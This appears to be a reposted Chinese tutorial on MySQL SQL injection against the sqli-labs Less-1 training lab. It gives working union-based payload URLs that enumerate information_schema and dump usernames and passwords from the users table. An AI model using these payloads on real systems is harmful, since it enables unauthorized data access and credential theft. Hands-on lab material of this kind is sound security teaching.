mysql注入精講

來源:互聯網
上載者:User

標籤:5.0   二分法   注入   一點   images   mysq   表示   聯合   mys   

SqlliabLess1

首先來看源碼

 

 

我們發現直接將id的欄位丟給了查詢sql語句函數。輸入地址看看效果

http://192.168.16.135/sqli-labs-master/Less-1/?id=1

 

 

我們發現當id=1的時候,當前的執行語句為:

SELECT * FROM users WHERE id=‘1‘ LIMIT 0,1

我們首先試試判斷sql注入的常用手法:加個’試試效果

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘

 

發現就會報錯,為什麼會報錯呢,我們可以清楚的看到sql注入的執行語句為:

SELECT * FROM users WHERE id=‘1‘‘ LIMIT 0,1

因為id=’1’’,這是一個錯誤的sql語句,因此會出現報錯資訊。

我們在來試試另一個判斷注入點的方法:and 1=1 和and 1=2

首先輸入and1=1

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=1

 

發現執行的語句SELECT * FROM users WHERE id=‘1 and 1=1‘ LIMIT 0,1

我們發現1 and 1=1作為ID的值被傳入sql語句進行查詢,無論怎樣查詢到的結果只是id作為1的值。輸入and 1=3看看。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 and 1=3

 

 

怎麼樣才能讓sql語句執行 and語句呢?可以發現id的內容不是字串嗎,我們可以嘗試閉合字串。

 

 

 

 

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 ‘and 1=‘1成進行了閉合欄位,在看看and1=2的內容

http://192.168.16.135/sqli-labs-master/Less-1/?id=1 ‘and 1=‘2

 

 

我們發現執行and1=1和執行and1=2的頁面反饋效果不同,說明存在sql注入點。

 

 

使用order by 欄位,發現執行的sql語句為:

SELECT * FROM users WHERE id=‘1 order by 9‘ LIMIT 0,1

發現和執行and 的是一個道理,只不過在執行and的語句是我沒有截斷sql語句(說明這片文章的思路有一點小問題),在常規的sql注入過程中,如果我們發現是確實存在sql注入點的時候。我們就應該截斷sql語句,在這片文章裡就是“’LIMIT 0,1”。幹掉sql語句的多餘部分。那麼問題來了我們怎麼樣才能幹掉後面的部分?有沒有一點的思路呢?

注釋,對就是注釋你沒有想錯,sql語句中一共有三種注釋符,分別是#,/**/,--。

首先說明這三種注釋符的意義

Select ID from user # 表示這條sql語句到此結束,常用語單行注釋。

Select id from user --  表示這條語句到此結束,常用語多行注釋。主意這裡的--雙換線要求前後至少有一個空格,在sql語句的空格用+表示。

/*注釋sql語句的*/ 通常用於大段的注釋。

首先我們來幹掉多餘的sql語句。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ --+,正常返回頁面,說明sql後面的LIMIT 0,1被幹掉。

 

 

執行語句http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ #

 

 

居然會爆錯一大堆,為啥呢?看執行的sql語句:

SELECT * FROM users WHERE id=‘1‘ ‘ LIMIT 0,1

說明沒有被幹掉,那麼怎麼辦呢?在sql注入的過程經常使用的一招就是編碼,是用url編碼問題。常用的URL編碼%20代表空格,%23表示#,說一個問題,URL和16進位有個相似的地方就是%23和0x23。都代表的#。感興趣可以下去研究一下。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ %23,返回正常。

 

 

判斷欄位長度

Oder by  原理

T1表中有三個欄位的時候,我們使用查詢語句,

Select * from t1 where id =1 order by 3,返回正常資料。

 

 

使用select *  from t1 where id =1 order by 4,發現sql語句報錯,並且返回沒有找到這樣的欄位。

 

 

當t1表有四個欄位的時候,使用查詢語句

Select * from t1 where id =1 order by 4,返回資料。

 

 

Select * from t1 where id =1 order by 5,

 

 

返回錯誤。也就是說order by 就是來判斷表中到底有多少列。如果表中有3列,那麼order by 3 查詢到資料,如果 order by 4,則這個表中沒有4列資料,報錯。熟悉了原理來看看利用過程。

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 9%23

 

 

發現Unknown column ‘9‘ in ‘order clause‘,說明不存在該欄位。使用二分法來判斷其他的數字。

 

 

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 3%23,發現3有頁面。

 

 

http://192.168.16.135/sqli-labs-master/Less-1/?id=1‘ order by 4%23

發現4沒有,則說明就只有3個欄位。

 

 

接下來就是查詢欄位,使用union select 來查詢的原理。執行id=1返回正常,

 

 

執行-1返回的是空欄位。

 

 

執行-1 union select 1,返回name


我們可以這樣理解

Select name fromt1 where id =-1 這條語句執行的結果為空白

Uninon select 1這條語句才能查詢到結果,給頁面返回查詢到的數字。

如何利用呢?也就說只要我們使union前面的sql語句執行的結果為空白。才能讓頁面顯示出union 後面的sql語句執行的結果。我們使用and來驗證一下。

Select name fromt1 where id =1 and 1=1,發現返回的是一個欄位。

 

 

Select name fromt1 where id =1 and 1=2,發現查詢到的結果為空白

 

 

Select name fromt1 where id =1 and 1=2 union select 1,

使用聯集查詢,查詢到資料。

 

 

熟悉了聯集查詢的原理。我們來在頁面中使用聯集查詢擷取欄位。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘union select 1,2,3%23

 

 

看一下執行的sql語句:

SELECT * FROMusers WHERE id=‘-1‘ union select 1,2,3#

注意:中的執行SQL語句不正確,因為我們使用了#注釋以後, #後面的內容已被sql過濾。也就是說#後面的東西為空白。

我們發現在頁面中返回了2,3兩個欄位。接下來利用在頁面顯示的欄位來判斷sql的版本和資料庫。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘union select 1,version(),database ()%23

 

 

發現MySQL的版本是5.5.53>5.0,大於5.0版本的mysql有一個資料庫information_schema這個資料庫裡儲存所有有MySQL的操作。我們看到在information_schema中有個表是tables,這個表裡儲存所有的表的屬性。

 

 

在columns中儲存所有有關列的資訊。

 

 

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘union select 1,2, group_concat(table_name) from information_schema.tables wheretable_schema=‘security‘%23,擷取表名

 

 

也可以使用

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘union select 1,2, group_concat(table_name) from information_schema.tables wheretable_schema=database()%23

 

 

擷取列名,以users表為例。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘union select 1,version(),group_concat(column_name)from information_schema.columnswhere table_name=‘users‘%23

 

 

擷取資料。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘union select 1,version(),group_concat(username,password) from users%23

 

 

得到資料庫的管理的使用者名稱和密碼。那麼接下來怎麼做?

 

mysql注入精講

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.